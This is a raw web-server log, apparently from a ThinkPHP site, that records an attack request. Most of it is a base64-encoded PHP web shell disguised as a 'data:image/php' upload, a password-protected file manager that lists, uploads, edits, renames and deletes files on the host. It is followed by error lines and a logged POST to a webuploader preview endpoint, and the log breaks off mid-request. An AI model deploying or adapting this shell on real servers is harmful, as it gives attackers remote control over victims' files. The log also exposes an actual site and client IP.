'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:58+08:00 ] 116.213.36.234 POST www.51tianwei.com/library/webuploader/0.1.5/server/preview.php [运行时间:0.002456s] [吞吐率:407.17req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 